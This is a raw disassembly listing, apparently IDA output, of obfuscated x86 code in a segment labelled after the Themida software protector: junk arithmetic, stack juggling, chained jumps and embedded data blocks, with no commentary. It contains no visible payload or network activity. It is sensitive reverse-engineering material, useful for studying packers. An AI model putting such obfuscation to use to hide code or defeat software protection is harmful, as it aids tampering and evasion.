loc_567F38: ; CODE XREF: Themida_:0056A380j add esp, 4 loc_567F3E: ; CODE XREF: Themida_:0056710Ej ; Themida_:005677C5j push dword ptr [esp] pop ebx push 7363h mov [esp], ecx push esp pop ecx push ebp jmp loc_567282 ; --------------------------------------------------------------------------- loc_567F52: ; CODE XREF: Themida_:0056AFC8j mov esp, [esp] mov [esp], esi mov esi, 3B8E40EEh xor ecx, esi jmp loc_571239 ; --------------------------------------------------------------------------- dd 8158C201h, 4ECh, 242C8900h, 276B68h, 241C8900h, 604A08BBh dd 4A0CBD76h, 0DD317660h, 5B2434FFh, 8104C483h, 4ECh, 0F198E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567F96: ; CODE XREF: Themida_:00570E05j pop esp push 4709h mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 push 6598h mov [esp], ecx jmp loc_56A224 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9243489h, 0A216h, 7D20BBB8h, 0DFE9966Fh, 8900002Ah dd 0C788241Ch, 585BFA88h, 0E959CA28h, 850h ; --------------------------------------------------------------------------- loc_567FE4: ; CODE XREF: Themida_:005650CDj mov [esp], eax push 7F4C13C4h jmp loc_5659D9 ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4C381h, 0C3810000h, 4, 5C241C87h, 75F0E9h db 0 ; --------------------------------------------------------------------------- loc_568009: ; CODE XREF: Themida_:00569945j pop edx push ebx mov ebx, 77B93961h and ebp, ebx pop ebx shr ebp, 4 push 7D9Ch jmp loc_56A0A6 ; --------------------------------------------------------------------------- dd 8B240433h, 62E92424h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56802B: ; CODE XREF: Themida_:0056F132j xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ebp push eax mov eax, 54761DE8h mov ebp, eax jmp loc_56C68D ; --------------------------------------------------------------------------- loc_568044: ; CODE XREF: Themida_:00570FFFj mov edi, 4DDC27D6h xor edi, 1E4447BEh sub edi, 50C837B9h add ebx, edi pop edi sub ebx, 5357AFA8h mov eax, ebx pop ebx add ebx, eax pop eax add ebx, 2F495D43h sub ebx, eax sub ebx, 2F495D43h push esi jmp loc_56D177 ; --------------------------------------------------------------------------- dd 565DEF01h, 54E9E689h, 68000006h, 249Ah, 68242C89h, 7DF0h dd 51240489h, 0FF938AE9h, 3C875CFFh, 24248B24h, 3981EB81h dd 6CE97C30h, 0BA00000Ch, 56381D2Eh, 5FCBE9h, 36EF8100h dd 11C447Dh, 36C781C7h, 581C447Dh, 51A1EF81h, 0E7C10C28h dd 16F78104h, 0E9F26B6Fh, 931Ch ; --------------------------------------------------------------------------- loc_5680D8: ; CODE XREF: Themida_:0056AC35j mov edi, 68634023h jmp loc_56CD19 ; --------------------------------------------------------------------------- dw 4759h dd 0F706E7C1h, 0BBF781D7h, 1C026A9h, 2434FFFAh, 83243C8Bh dd 0E95204C4h, 0FFFFE2F4h ; --------------------------------------------------------------------------- loc_568100: ; CODE XREF: Themida_:00570481j mov ecx, esi mov esi, [esp] add esp, 4 mov ebp, [esp] add esp, 4 rep movsd jmp loc_56CEB1 ; --------------------------------------------------------------------------- dd 3C8BF829h, 4C48324h, 0FF6791E9h, 2434FFFFh, 0FFDC8DE9h dd 4C483FFh, 690DC181h, 0E9010D75h, 690DE981h, 0E95D0D75h dd 0FFFF7F47h, 68243C89h, 38A1h, 8904EC83h, 4812424h, 424h dd 24048F00h, 4BD55h, 6C010000h, 2C8B0424h, 0E2895224h dd 0FFFC41E9h, 0A5E95CFFh db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568177: ; CODE XREF: Themida_:0056EB03j pop esp xor eax, edi mov edi, [esp] jmp loc_56A75D ; --------------------------------------------------------------------------- dw 0C483h dd 81EA2904h, 2255FC2h, 0B2E95D2Eh, 51000016h, 0A5E4E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56819A: ; CODE XREF: Themida_:0056B68Fj push eax mov eax, 37C2099Bh inc eax add eax, 75F219F8h or eax, 38206EA3h add eax, 57ACD0A9h add esi, eax pop eax sub esi, 84BCF808h add edi, esi mov esi, [esp] add esp, 4 add edi, 4 xchg edi, [esp] pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] push 52E4h mov [esp], edx push dword ptr [esp+4] push dword ptr [esp] jmp loc_56B20A ; --------------------------------------------------------------------------- loc_5681E9: ; CODE XREF: Themida_:0056957Dj inc ebx add ebx, 0CDF745FCh mov ebp, ebx pop ebx add eax, 566212A6h jmp loc_572518 ; --------------------------------------------------------------------------- db 81h, 0E1h, 81h dd 502E3251h, 422469B8h, 58C1317Fh, 0C8BCF31h, 0A19E924h dd 0C4830000h, 24048704h, 0B30F665Ch, 0E99C2404h, 0FFFF50C5h dd 8924248Bh, 4B82404h, 0E9000000h, 6AF7h, 39AEBB66h, 25100566h dd 0FF75E3E9h, 81DFF7FFh, 0B922BFC7h, 5FFA01B4h, 0FFC2814Ah dd 2998ACA4h, 79A9E9D0h, 5351FFFFh, 0FF87B9E9h, 2434FFFFh dd 0E9243C8Bh, 134Bh ; --------------------------------------------------------------------------- loc_568270: ; CODE XREF: Themida_:00568557j mov [esp], esi mov esi, esp add esi, 4 jmp loc_568B6C ; --------------------------------------------------------------------------- a_sQ db '_Иж÷',0 align 2 loc_568286: ; CODE XREF: Themida_:0056E3BDj pop ecx jmp loc_55F9B2 ; --------------------------------------------------------------------------- loc_56828C: ; CODE XREF: Themida_:0056C1C7j mov edx, 3A1B4DCBh jmp loc_5634DC ; --------------------------------------------------------------------------- dw 0EC80h dd 0B3536601h, 66DC3079h, 58E3285Bh, 805BD828h, 74E910EBh dd 89000062h, 4C581E5h, 83000000h, 3FE904C5h, 81000091h dd 43F59DEEh, 312FE987h, 0C3810000h, 4BD45F00h, 0E0FFE943h dd 0E952FFFFh, 6203h ; --------------------------------------------------------------------------- loc_5682DC: ; CODE XREF: Themida_:005614CCj and eax, ecx jmp loc_55F8F4 ; --------------------------------------------------------------------------- db 87h dd 875C2404h, 248B243Ch, 7978E924h, 0C381FFFFh, 4, 4BE56h dd 0F3010000h, 241C875Eh, 4B9515Ch, 1000000h, 0F6B4E9CAh dd 0CA80FFFFh, 5BCA8024h, 1165E950h, 0BF570000h, 0B22A4538h dd 94E9F801h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56832B: ; CODE XREF: Themida_:00570A06j push edx mov edx, 35AE43FCh not edx neg edx jmp loc_56AC84 ; --------------------------------------------------------------------------- loc_56833A: ; CODE XREF: Themida_:00572681j push edi mov edi, 45F722DEh jmp loc_56F6FF ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4C381h, 0C3830000h, 241C8704h, 5824248Bh, 4BA52h, 0D0010000h dd 650DE9h db 0 ; --------------------------------------------------------------------------- loc_568365: ; CODE XREF: Themida_:00567023j dec esi sub esi, 6B73D2A3h mov edi, esi pop esi jmp loc_562E2F ; --------------------------------------------------------------------------- dd 2D5FF889h, 47F372AEh, 52C58955h, 0D9E9E289h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568387: ; CODE XREF: Themida_:0056FAC3j pop esp push ebx jmp loc_5693B1 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0E957D829h, 0FFFFADD4h ; --------------------------------------------------------------------------- loc_56839C: ; CODE XREF: Themida_:0056E7DCj sub dword ptr [esp+4], 6EFC4D4Eh add [esp+4], ebp add dword ptr [esp+4], 6EFC4D4Eh push edx mov edx, 3F3B000Dh add dword ptr [esp+8], 74F6252Fh sub [esp+8], edx sub dword ptr [esp+8], 74F6252Fh jmp loc_56E39A ; --------------------------------------------------------------------------- db 49h dd 0FFBE17E9h db 0FFh ; --------------------------------------------------------------------------- loc_5683D5: ; CODE XREF: Themida_:005697CAj push edi mov edi, 634F21D1h sub edi, 21B93731h neg edi jmp loc_5725D2 ; --------------------------------------------------------------------------- dd 2E8ECE2Dh, 58C52974h, 2C8BEF89h, 4C48124h, 81000000h dd 731727C1h, 0E9F9294Dh, 0FFFFB157h, 0DD7AF181h, 0CF2926D0h dd 801BE9h, 30BF5700h, 0C1222B20h, 0F78106E7h, 0C8FA7E4Ah dd 3C8BF909h, 4C48324h, 0FF5AF5E9h, 5EBC1FFh, 61D3E9h dd 4DEB8100h, 10A7DFCh, 241C8BDAh, 59EDE9h, 0E9EED000h dd 0FFFF96DAh, 8108E7C1h, 413F3FC7h, 0CF8147E7h, 5A640820h dd 0C104E7C1h, 0EFC107EFh, 667DE902h, 1C890000h, 600ABB24h dd 0AEB876E7h, 0E938564Dh, 0FFFFC637h, 52243489h, 6D1171BAh dd 0DEEA814Ch, 0E9545455h, 0FFFF7E92h, 8304C483h, 343302C6h dd 24343124h, 5C243433h, 24148B66h, 62C76852h, 8F540000h dd 0E9572404h, 0FFFFF5EBh, 8904EC83h, 1487240Ch, 0E9F28724h dd 8DF8h, 6855535Ah, 35A63AFAh, 83242C8Bh, 0D5F704C4h dd 8F22F581h, 5B55A80Ah, 0D3F74B5Dh, 2BC9C381h, 8143288Fh dd 0C41E61C3h, 0E6E1E939h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5684F6: ; CODE XREF: Themida_:005635A0j mov esi, 26FA7B72h add esi, 58AEBB8Dh and eax, esi pop esi sub eax, 43218114h add ebx, eax mov eax, [esp] add esp, 4 mov [edx+38h], ebx pop ebx jmp loc_56C637 ; --------------------------------------------------------------------------- db 89h, 0C3h, 8Bh dd 49E92404h, 0C1000096h, 0F18107E9h, 37A33B2Ah, 0FF67FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_568535: ; CODE XREF: Themida_:00569284j pop ecx and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or eax, eax jz loc_562A84 push 4053h mov [esp], ebx push 7D7Bh jmp loc_568270 ; --------------------------------------------------------------------------- loc_56855C: ; CODE XREF: Themida_:0055DCFDj add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] idiv ecx jmp loc_564EE6 ; --------------------------------------------------------------------------- loc_568572: ; CODE XREF: Themida_:0056BC7Dj pop ebx jmp loc_56CF5A ; --------------------------------------------------------------------------- loc_568578: ; CODE XREF: Themida_:005714E2j add dword ptr [esp], 2A7567F1h jmp loc_56CAB5 ; --------------------------------------------------------------------------- dd 7066C581h db 6Dh, 0Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_570A9D ; --------------------------------------------------------------------------- loc_568598: ; CODE XREF: Themida_:0056BC6Dj mov bh, ah mov ah, dl pop edx push edx mov dh, 90h inc dh shl dh, 4 xor dh, 8Ah xor ah, dh pop edx add bl, 44h sub bl, ah sub bl, 44h mov eax, [esp] add esp, 4 push eax mov al, 4Dh neg al push dx mov dh, 0Ch sub al, 0F8h sub al, dh add al, 0F8h pop dx shr al, 4 shr al, 1 sub al, 67h xor al, 2Dh sub bl, al pop eax sub bl, al add bl, 0B3h push dx mov dl, 0BEh add bl, dl jmp loc_56597E ; --------------------------------------------------------------------------- db 0B6h, 29h, 88h dd 0E8005AF5h, 52C59h, 44E952F8h, 800000A0h, 5A6625C3h dd 0E9EAC380h, 0FFFF5B19h ; --------------------------------------------------------------------------- loc_568608: ; CODE XREF: Themida_:00564528j pop ebp sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi push 1 mov esi, [esp] jmp loc_56038A ; --------------------------------------------------------------------------- dd 0F3E99EB7h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568627: ; CODE XREF: Themida_:005657CEj pop eax pop eax dec esi push 5B77h mov [esp], ebx mov ebx, 7F0A653Ch add ebx, 0F0822EF1h xor esi, ebx jmp loc_569874 ; --------------------------------------------------------------------------- loc_568644: ; CODE XREF: Themida_:0055E66Fj mov edi, 4 sub ecx, edi pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], eax jmp loc_569E7A ; --------------------------------------------------------------------------- loc_56865E: ; CODE XREF: Themida_:0056ADEDj sub esp, 4 mov [esp], ebp push 32106D54h pop ebp neg ebp jmp loc_56AF4F ; --------------------------------------------------------------------------- dd 5304C483h, 82E9E389h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56867F: ; CODE XREF: Themida_:0056FD0Aj push 40000h push dword ptr [esp] mov esi, [esp] add esp, 4 push edi push esp pop edi push ebx push 4 jmp loc_55D8D3 ; --------------------------------------------------------------------------- db 81h dd 0E2BAFBF3h, 86A0E9C4h, 0EB29FFFFh, 7DEB815Dh, 5F55363Bh dd 0BCE95D5Fh, 8100000Bh, 0F82B79C9h, 0B8F18118h, 0E9339B4Fh dd 0A1C6h, 83242489h, 8B042404h, 0EFE92414h, 81000071h dd 4C6h, 4EE8300h, 8B243487h, 3C892424h, 6DFBE924h, 0ED81FFFFh dd 25E3323Ah, 7D95E9h, 0F666400h, 895302B6h, 4C381E3h dd 0E9000000h, 6833h, 0F605F829h, 0FF502508h, 815F2434h dd 4C4h, 4EC8300h, 89240C89h, 4C181E1h, 53000000h, 0C251A1BBh dd 2E3C127h, 8101C383h, 0EB4C2CF3h, 0D1DBF722h, 766E9E3h dd 0C4810000h, 2, 1CAE9h, 81465E00h, 0D8525CEEh, 3EEC156h dd 736DE953h, 0B951FFFFh, 55707A8Dh, 35E9CF09h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56876F: ; CODE XREF: Themida_:0056E129j push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_564EF5 ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 84E9D129h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56878F: ; CODE XREF: Themida_:00562634j mov edi, 4 sub ebx, edi jmp loc_5643F2 ; --------------------------------------------------------------------------- db 5 dd 6A25578Ah, 240C342Dh, 241C8B35h, 2904C483h, 0B85056D8h dd 72ED1B95h, 0A75900Dh, 0FFFF0532h, 520DFFFFh, 48762B18h dd 0DD05D0F7h, 89B1C1E6h, 0EE8158C6h, 52235E64h, 48FACE81h dd 0E6C102C2h, 0D3C68102h, 836BF138h, 2C8904ECh, 0CDBF5724h dd 0BD08E95Ah, 620D933Dh, 15FFD29h, 75FEE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5687FE: ; CODE XREF: Themida_:0055D5D9j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor eax, ecx pop ecx push ebp push eax mov eax, 6613B46h mov ebp, eax pop eax push ecx jmp loc_55E602 ; --------------------------------------------------------------------------- db 54h, 58h, 55h dd 468h, 242C8B00h, 0E904C483h, 1ADBh, 208AC280h, 0B6525AD3h dd 0E9F330E3h, 0FFFFA471h, 1AB4C381h, 0B9510109h, 57453CDBh dd 2FE9CB29h, 8F000075h, 4832404h, 815A0424h, 4C2h, 0C200E900h dd 7EE9FFFFh, 0BAFFFF4Ah, 66796EAFh, 4755F281h, 0C28152E0h dd 13D9412Fh, 9C1EC281h, 0D0011CDFh, 748A055Ah, 0D82944E4h dd 748ABD55h, 0E82944E4h, 5D2434FFh, 6804C483h, 2854h dd 5811E9h db 0 ; --------------------------------------------------------------------------- loc_5688A9: ; CODE XREF: Themida_:0055F1CDj add edx, 72560454h add edx, ebp sub edx, 72560454h mov ebp, [esp] jmp loc_56AF7C ; --------------------------------------------------------------------------- loc_5688BF: ; CODE XREF: Themida_:005648D2j pop esi shr edx, 7 and edx, 88B5EACh sub esp, 4 mov [esp], ebx mov ebx, 7DBF5404h jmp loc_563CA5 ; --------------------------------------------------------------------------- dd 0E945EDD1h, 0FFFFCE3Ch, 799BE958h, 0C681FFFFh, 4, 4C681h dd 8E90000h, 8FFFFA9h, 0C8B66CAh, 0E0895024h, 0FFD8A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_568909: ; CODE XREF: Themida_:0056B723j pop edi sub eax, 407056DBh sub eax, ebx add eax, 407056DBh jmp loc_5674A8 ; --------------------------------------------------------------------------- db 66h dd 2247401h, 534CE9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 5CAC1CAFh dec ecx sub ecx, 2CB56EC7h neg ecx sub ecx, 0D0095217h sub ebp, 6D8A09A0h add ebp, ecx push edx jmp loc_56606B ; --------------------------------------------------------------------------- db 81h, 0EEh, 0DEh dd 1C9A818h, 2434FFF1h, 5724348Bh, 0C781E789h, 4, 8704C783h dd 515C243Ch, 40E9E189h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568977: ; CODE XREF: Themida_:00564060j pop esi jmp loc_5713E6 ; --------------------------------------------------------------------------- loc_56897D: ; CODE XREF: Themida_:00570DABj add edx, eax sub esp, 4 jmp loc_55DD52 ; --------------------------------------------------------------------------- dw 0F328h dd 0E9BDC380h, 0FFFF8330h, 0FF4954E9h, 4E983FFh, 32A8E951h dd 0EC810000h, 4, 7526E9h, 240C8900h, 37A5E9h, 0ABC68100h dd 103DC0Ah, 0ABEE81EEh, 5D03DC0Ah, 5A486850h, 2C890000h dd 0E9E58924h, 0FFFFE434h ; --------------------------------------------------------------------------- loc_5689D4: ; CODE XREF: Themida_:0056CF4Dj add ebx, ebp pop ebp add eax, ebx pop ebx jmp loc_57287F ; --------------------------------------------------------------------------- loc_5689DF: ; CODE XREF: Themida_:0056BC9Fj shr esi, 7 shr esi, 8 push eax jmp loc_569EA0 ; --------------------------------------------------------------------------- db 81h dd 2C7h, 74FF5700h, 50E90424h, 54FFFFD7h, 4EC835Eh, 0E9240489h dd 8B08h, 4C681h, 0EE810000h, 4, 5C243487h, 68243C89h dd 6CB93B08h, 81243C8Bh, 4C4h, 4E7AE900h, 3C310000h, 6DEAE924h dd 148BFFFFh, 4C48324h, 4EC81h, 6AE90000h, 53FFFFE6h, 4934E952h dd 9AE90000h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568A53: ; CODE XREF: Themida_:00564126j push ecx mov ecx, 23993837h dec ecx jmp loc_568AC5 ; --------------------------------------------------------------------------- loc_568A5F: ; CODE XREF: Themida_:00560A19j pop eax dec esi jmp loc_55E943 ; --------------------------------------------------------------------------- dw 0C581h dd 4, 434668h, 24348900h, 12C668h, 24148900h, 77597F68h dd 0C2815A59h, 0FFFFFFFFh, 5596B951h, 0E9C10006h, 8184E903h dd 2C8BFFFFh, 4C48324h, 4C481h, 0F7810000h, 6CF535B0h dd 62E9D7F7h, 56000038h, 38DCB850h, 0F1BE3BF1h, 3146617Ch dd 0D6F758C6h, 4BF0E9h db 0 ; --------------------------------------------------------------------------- loc_568AC5: ; CODE XREF: Themida_:00568A5Aj shr ecx, 6 or ecx, 65067007h xor ecx, 0CBC3F8Fh add ecx, 32E931CAh push ebx mov ebx, 595C691Ah push ebp mov ebp, 21AF1AC6h and ebx, ebp jmp loc_55F9EC ; --------------------------------------------------------------------------- db 83h, 0ECh, 2 dd 24148966h, 24348166h, 5F666399h, 99F78166h, 0F9896663h dd 3043E9h db 0 ; --------------------------------------------------------------------------- loc_568B09: ; CODE XREF: Themida_:0056ABD5j and eax, 3F8C0143h jmp loc_56A4D5 ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 0E9E38924h, 6434h, 0E9242489h, 5923h ; --------------------------------------------------------------------------- loc_568B28: ; CODE XREF: Themida_:0055F1D4j push ecx jmp loc_566B66 ; --------------------------------------------------------------------------- loc_568B2E: ; CODE XREF: Themida_:00570C34j mov ecx, [esp] jmp loc_56D5A5 ; --------------------------------------------------------------------------- dw 0F168h dd 0E9000066h, 0FFFFA450h ; --------------------------------------------------------------------------- loc_568B40: ; CODE XREF: Themida_:0055EB6Dj mov ecx, [esp] push eax push esp jmp loc_56E0EA ; --------------------------------------------------------------------------- dw 335Fh dd 2C31242Ch, 242C3324h, 0E50CE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568B5A: ; CODE XREF: Themida_:00570ACAj add eax, ebp add eax, 2D4C68AEh jmp loc_56DDEB ; --------------------------------------------------------------------------- dw 0E946h dd 0FFFF8EF9h ; --------------------------------------------------------------------------- loc_568B6C: ; CODE XREF: Themida_:0056827Bj sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], esi push 760Dh mov [esp], edi jmp loc_56648C ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0BB535954h, 374A6689h, 0FF6D0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_568B95: ; CODE XREF: Themida_:0055FF28j pop dword ptr [esp] mov esp, [esp] jmp loc_56417D ; --------------------------------------------------------------------------- dd 0B252D028h, 4E2C0B1h, 4EC81h, 0C890000h, 0B08BE924h dd 0C381FFFFh, 4, 0FFA05AE9h, 81F329FFh, 92569DEBh, 0E3C15E24h dd 78EB8105h, 575E6679h, 5FE488BFh, 0FFFB3189h, 0DBE92434h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_568BE3: ; CODE XREF: Themida_:00562C65j push ebp jmp loc_5714C6 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0EB68240Ch, 8900005Ch, 0E189240Ch, 4C181h dd 0D8E90000h, 89000018h, 4BD55E2h, 81000000h, 0D761C1C2h dd 0E9EA0128h, 876Bh, 0C581E589h, 4, 4C581h, 29E90000h dd 83FFFFB6h, 0ED8104C4h, 56647108h, 0C581FD01h, 56647108h dd 0FFFF05E9h db 0FFh ; --------------------------------------------------------------------------- loc_568C45: ; CODE XREF: Themida_:00566CE2j add ebx, 0D6748F0h jmp loc_56EA3D ; --------------------------------------------------------------------------- loc_568C50: ; CODE XREF: Themida_:0056FD81j pop esp jmp loc_55E09F ; --------------------------------------------------------------------------- dw 248Bh dd 242C8924h, 242C8B54h, 4C481h, 0FBE90000h, 81FFFFFDh dd 4C4h, 40500h, 0E9560000h, 3A58h, 0B4240489h, 0FAB3FAh dd 0CBFE58E3h, 51E0F380h, 0FFA860E9h, 2C6BFFFh, 0E78118CCh dd 7183711h, 0E94FD7F7h, 1C63h ; --------------------------------------------------------------------------- loc_568CA4: ; CODE XREF: Themida_:0055E959j mov [esp], ebp mov ebp, 4F7D4933h and ebp, 485F586Eh neg ebp xor ebp, 40E84D4Eh or ebp, 7347179Dh add ebp, 0BBE5A764h sub ecx, ebp pop ebp sub esi, ecx jmp loc_55EF3B ; --------------------------------------------------------------------------- loc_568CD0: ; CODE XREF: Themida_:0056B8BAj mov edx, [esp] push eax mov eax, esp jmp loc_55EB8D ; --------------------------------------------------------------------------- db 66h dd 68241489h, 12CCh, 0FFBF08E9h, 240C8BFFh, 0E904C483h dd 3CFCh ; --------------------------------------------------------------------------- loc_568CF4: ; CODE XREF: Themida_:00570D8Bj sub ebx, 342260A3h push esi push ebp jmp loc_56AB48 ; --------------------------------------------------------------------------- db 0FEh, 0C6h, 66h aSSj db 'S╥бИJ>',0 align 4 dd 830BCD80h, 0ABE904ECh, 81FFFFC8h, 0A905E0C3h, 8CBD5551h dd 0E97B8727h, 0FFFF9DA6h, 4523BE56h, 0EC817A3Ch, 4, 0FFDAF8E9h dd 59EC28FFh, 0B719E953h, 4EBDFFFFh, 68658853h, 6C77h dd 0FF7194E9h db 0FFh ; --------------------------------------------------------------------------- loc_568D51: ; CODE XREF: Themida_:0057091Bj sub esi, edx pop edx jmp loc_564C42 ; --------------------------------------------------------------------------- db 89h, 0E5h, 56h dd 0FF5323E9h, 753CBAFFh, 0D3017DA4h, 7C23685Ah, 34890000h dd 0EAE95024h, 0BF000028h, 23635D47h, 3C8BFA01h, 8304E924h dd 3B68FFFFh, 0E9000021h, 2904h ; --------------------------------------------------------------------------- loc_568D90: ; CODE XREF: Themida_:0056C155j add esp, 4 inc esi sub esi, 0EEE14552h add eax, 71C50920h sub eax, esi push ebx mov ebx, 71C50920h sub eax, ebx pop ebx pop esi push dword ptr [edi+eax*4] jmp loc_5699E3 ; --------------------------------------------------------------------------- loc_568DB3: ; CODE XREF: Themida_:00563319j pop esp mov [esp], esi jmp loc_565B5B ; --------------------------------------------------------------------------- dd 0E9242C33h, 7910h ; --------------------------------------------------------------------------- loc_568DC4: ; CODE XREF: Themida_:005690E0j push 7FD3h mov [esp], esp push edi jmp loc_567F24 ; --------------------------------------------------------------------------- loc_568DD2: ; CODE XREF: Themida_:0056FD4Fj add esi, 4 add esi, 4 jmp loc_56C41F ; --------------------------------------------------------------------------- db 89h dd 8353240Ch, 8DE904ECh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568DEF: ; CODE XREF: Themida_:0056B7BEj add ecx, 4 jmp loc_55E144 ; --------------------------------------------------------------------------- loc_568DFA: ; CODE XREF: Themida_:00561051j mov [esp], eax sub esp, 4 mov [esp], ecx mov ecx, 535F6EDDh mov eax, 0D9E4D77Eh add eax, ecx pop ecx jmp loc_570E8D ; --------------------------------------------------------------------------- db 58h, 83h, 0C4h dd 24143304h, 0FFECA0E9h, 81FD01FFh, 0F41FB7C5h, 0BC24E922h dd 8952FFFFh, 7DBB53E2h, 0C11E341Bh, 0E95603E3h, 0FFFF8E3Ah dd 0C15FFA01h, 0F28107EAh, 2DCE66F8h, 8102EAC1h, 0E1284BEAh dd 5F84E99Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568E5A: ; CODE XREF: Themida_:0055D89Aj shl edx, 1 push 7E20h mov [esp], ebp sub esp, 4 jmp loc_563497 ; --------------------------------------------------------------------------- loc_568E6C: ; CODE XREF: Themida_:0056A9C6j push 3C1Ch jmp loc_571493 ; --------------------------------------------------------------------------- dw 685Ah dd 2701h, 68240489h, 680h, 24048F54h, 4240483h, 40558h dd 11680000h, 89000021h, 6855243Ch, 5B4964DBh, 29C5815Dh dd 0E9A4B69Bh, 0FFFF5D43h, 0EAAAF381h, 0D929843Bh, 0C1B3E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568EBA: ; CODE XREF: Themida_:00571656j mov ebx, 2B7A0EC2h push edx mov edx, 635E701Ah jmp loc_5674B2 ; --------------------------------------------------------------------------- dw 0C0BAh dd 5227A31Ah, 0FF6106E9h, 48B66FFh, 0E1895124h, 4C181h dd 0E9810000h, 4, 8B240C87h, 2C892424h, 5FD56824h, 24890000h dd 24048124h, 4, 0FFA4F8E9h, 3E9C1FFh, 0FF63E7E9h, 4EB81FFh dd 87000000h, 5E9241Ch, 6600008Ah, 5724048Bh, 0E951E789h dd 0A6Ah ; --------------------------------------------------------------------------- loc_568F28: ; CODE XREF: Themida_:0056CD1Fj shr edi, 5 sub edi, 17F33293h xor edi, 0ECB99B00h add eax, edi pop edi add eax, 4 xchg eax, [esp] pop esp add esp, 4 push dword ptr [esp] pop esi push eax jmp loc_56E203 ; --------------------------------------------------------------------------- db 88h dd 0DE8852CCh, 885AF188h, 48B66E3h, 2C48324h, 0C9E9C186h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_568F6B: ; CODE XREF: Themida_:00569659j mov ebp, 4981723Dh shl ebp, 2 xor ebp, 3B3700F6h push 6C12h mov [esp], ebp mov ebp, esp jmp loc_55F052 ; --------------------------------------------------------------------------- loc_568F88: ; CODE XREF: Themida_:00570337j add esp, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp push esi jmp loc_56BDCB ; --------------------------------------------------------------------------- aMhJ db '╛h╤j',0 dd 241C8900h, 7EE9E389h, 58000084h, 844EE9h, 2434FF00h dd 8324048Bh, 896804C4h, 89000008h, 77682404h, 89000009h dd 4832424h, 53580424h, 4BBh, 0FFD80100h, 1C8B2434h, 4C48324h dd 0FF7F7EE9h, 50535CFFh, 28FA68h, 241C8900h, 0D888D388h dd 19A6685Bh, 14890000h, 4EC8324h, 1674E9h db 0 ; --------------------------------------------------------------------------- loc_56900D: ; CODE XREF: Themida_:0055D9F2j pop dword ptr [esp] xchg eax, esi not eax xor esi, eax xor eax, esi xor esi, eax push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] push dword ptr [esp] jmp loc_56AFE1 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFFB70h ; --------------------------------------------------------------------------- loc_569030: ; CODE XREF: Themida_:0056F3C9j push dword ptr [esp] jmp loc_56A939 ; --------------------------------------------------------------------------- dd 815B5453h, 4C3h, 4EB8300h, 8B241C87h, 2C892424h, 4BD24h dd 0B9E90000h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569057: ; CODE XREF: Themida_:00564D97j mov [esp], ecx push edi mov edi, ebx push 6335h mov [esp], edi jmp loc_56F5CE ; --------------------------------------------------------------------------- aTSpp db 'T^И▐▐',0 dd 3CC38100h, 89F6013Bh, 6FEE9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56907E: ; CODE XREF: Themida_:005602EDj push ebx mov ebx, 0A21156Eh dec ebx push 4406h jmp loc_563B5C ; --------------------------------------------------------------------------- db 81h dd 86769C2h, 0E8C28140h, 817F330Ah, 4D159FF2h, 3EC2813Ch dd 106FB1Dh, 0C7835AD7h, 243C3304h, 0E9243C31h, 0FFFFA694h dd 7025EE81h, 0FE2964D1h, 7025C681h, 505F64D1h, 6CECBF57h dd 0EF8100ADh, 4B0A618Dh, 0FF731EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5690D9: ; CODE XREF: Themida_:005616F3j pop esi xchg ebp, [esp] mov esp, [esp] jmp loc_568DC4 ; --------------------------------------------------------------------------- aXhQ db 'XhгQ',0 dw 0E900h dd 7C6h ; --------------------------------------------------------------------------- loc_5690F0: ; CODE XREF: Themida_:005712F8j sub ecx, edx pop edx sub esp, 4 mov [esp], ebp jmp loc_55DE2C ; --------------------------------------------------------------------------- aFxaiu db ',',27h,'(цfX─КЦ',0 